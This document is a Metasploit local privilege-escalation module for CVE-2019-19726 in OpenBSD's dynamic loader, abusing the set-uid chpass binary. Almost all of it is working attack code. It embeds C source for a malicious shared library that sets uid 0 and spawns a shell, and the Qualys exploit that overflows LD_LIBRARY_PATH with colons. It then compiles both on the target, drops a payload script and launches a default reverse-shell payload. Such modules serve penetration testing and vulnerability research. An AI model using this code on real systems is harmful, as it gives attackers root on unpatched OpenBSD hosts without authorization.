OpenBSD Dynamic Loader chpass Privilege Escalation

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'OpenBSD Dynamic Loader chpass Privilege Escalation',  
'Description' => %q{  
This module exploits a vulnerability in the OpenBSD `ld.so`  
dynamic loader (CVE-2019-19726).  
  
The `_dl_getenv()` function fails to reset the `LD_LIBRARY_PATH`  
environment variable when set with approximately `ARG_MAX` colons.  
  
This can be abused to load `libutil.so` from an untrusted path,  
using `LD_LIBRARY_PATH` in combination with the `chpass` set-uid  
executable, resulting in privileged code execution.  
  
This module has been tested successfully on:  
  
OpenBSD 6.1 (amd64); and  
OpenBSD 6.6 (amd64)  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Qualys', # Discovery and exploit  
'bcoles' # Metasploit  
],  
'DisclosureDate' => '2019-12-11',  
'Platform' => %w[bsd unix], # OpenBSD  
'Arch' => [ARCH_CMD],  
'SessionTypes' => ['shell'],  
'References' =>  
[  
['CVE', '2019-19726'],  
['EDB', '47780'],  
['URL', 'https://blog.qualys.com/laws-of-vulnerabilities/2019/12/11/openbsd-local-privilege-escalation-vulnerability-cve-2019-19726'],  
['URL', 'https://www.qualys.com/2019/12/11/cve-2019-19726/local-privilege-escalation-openbsd-dynamic-loader.txt'],  
['URL', 'https://www.openwall.com/lists/oss-security/2019/12/11/9'],  
['URL', 'https://github.com/bcoles/local-exploits/blob/master/CVE-2019-19726/openbsd-dynamic-loader-chpass'],  
['URL', 'https://ftp.openbsd.org/pub/OpenBSD/patches/6.6/common/013_ldso.patch.sig']  
],  
'Targets' => [['Automatic', {}]],  
'DefaultOptions' =>  
{  
'PAYLOAD' => 'cmd/unix/reverse',  
'WfsDelay' => 10  
},  
'DefaultTarget' => 0))  
register_options [  
OptString.new('CHPASS_PATH', [true, 'Path to chpass', '/usr/bin/chpass'])  
]  
register_advanced_options [  
OptBool.new('ForceExploit', [false, 'Override check result', false]),  
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])  
]  
end  
  
def base_dir  
datastore['WritableDir'].to_s  
end  
  
def chpass_path  
datastore['CHPASS_PATH']  
end  
  
def upload(path, data)  
print_status "Writing '#{path}' (#{data.size} bytes) ..."  
rm_f path  
write_file path, data  
register_file_for_cleanup path  
end  
  
def is_root?  
(cmd_exec('id -u').to_s.gsub(/[^\d]/, '') == '0')  
end  
  
def libutil_name  
return unless command_exists? 'readelf'  
cmd_exec('readelf -a /usr/sbin/pwd_mkdb').to_s.scan(/\[(libutil\.so\.[\d\.]+)\]/).flatten.first  
end  
  
def check  
patches = cmd_exec('syspatch -l').to_s  
patch = '013_ldso'  
if patches.include? patch  
vprint_error "Patch #{patch} has been installed. Target is not vulnerable."  
return CheckCode::Safe  
end  
vprint_good "Patch #{patch} is not present"  
  
unless command_exists? 'cc'  
vprint_error 'cc is not installed'  
return CheckCode::Safe  
end  
print_good 'cc is installed'  
  
CheckCode::Detected  
end  
  
def exploit  
unless check == CheckCode::Detected  
unless datastore['ForceExploit']  
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'  
end  
print_warning 'Target does not appear to be vulnerable'  
end  
  
if is_root?  
unless datastore['ForceExploit']  
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'  
end  
end  
  
unless writable? base_dir  
fail_with Failure::BadConfig, "#{base_dir} is not writable"  
end  
  
# Qualys set-uid shared object from https://www.openwall.com/lists/oss-security/2019/12/11/9  
lib_data = <<-EOF  
#include <paths.h>  
#include <unistd.h>  
  
static void __attribute__ ((constructor)) _init (void) {  
if (setuid(0) != 0) _exit(__LINE__);  
if (setgid(0) != 0) _exit(__LINE__);  
char * const argv[] = { _PATH_KSHELL, "-c", _PATH_KSHELL "; exit 1", NULL };  
execve(argv[0], argv, NULL);  
_exit(__LINE__);  
}  
EOF  
  
libs = []  
lib = libutil_name  
if lib  
libs << lib  
print_good "Found libutil.so name: #{lib}"  
else  
libs << 'libutil.so.12.1'  
libs << 'libutil.so.13.1'  
print_warning "Could not determine libutil.so name. Using: #{libs.join(', ')}"  
end  
  
lib_src_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}.c"  
upload lib_src_path, lib_data  
libs.each do |lib_name|  
lib_path = "#{base_dir}/#{lib_name}"  
print_status "Compiling #{lib_path} ..."  
output = cmd_exec "cc -fpic -shared -s -o #{lib_path} #{lib_src_path} -Wall"  
register_file_for_cleanup lib_path  
  
unless output.blank?  
print_error output  
fail_with Failure::Unknown, "#{lib_path}.c failed to compile"  
end  
end  
  
# Qualys exploit from https://www.openwall.com/lists/oss-security/2019/12/11/9  
exploit_data = <<-EOF  
#include <string.h>  
#include <sys/param.h>  
#include <sys/resource.h>  
#include <unistd.h>  
  
int  
main(int argc, char * const * argv)  
{  
#define LLP "LD_LIBRARY_PATH=."  
static char llp[ARG_MAX - 128];  
memset(llp, ':', sizeof(llp)-1);  
memcpy(llp, LLP, sizeof(LLP)-1);  
char * const envp[] = { llp, "EDITOR=echo '#' >>", NULL };  
  
#define DATA (ARG_MAX * sizeof(char *))  
const struct rlimit data = { DATA, DATA };  
if (setrlimit(RLIMIT_DATA, &data) != 0) _exit(__LINE__);  
  
if (argc <= 1) _exit(__LINE__);  
argv += 1;  
execve(argv[0], argv, envp);  
_exit(__LINE__);  
}  
EOF  
  
exploit_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"  
upload "#{exploit_path}.c", exploit_data  
print_status "Compiling #{exploit_path} ..."  
output = cmd_exec "cc -s #{exploit_path}.c -o #{exploit_path} -Wall"  
register_file_for_cleanup exploit_path  
  
unless output.blank?  
print_error output  
fail_with Failure::Unknown, "#{exploit_path}.c failed to compile"  
end  
  
payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"  
upload payload_path, "#!/bin/sh\n#{payload.encoded}\n"  
chmod payload_path  
  
print_status 'Launching exploit...'  
output = cmd_exec("cd #{base_dir};echo '#{payload_path}&exit'|#{exploit_path} #{chpass_path}")  
output.each_line { |line| vprint_status line.chomp }  
end  
end  
`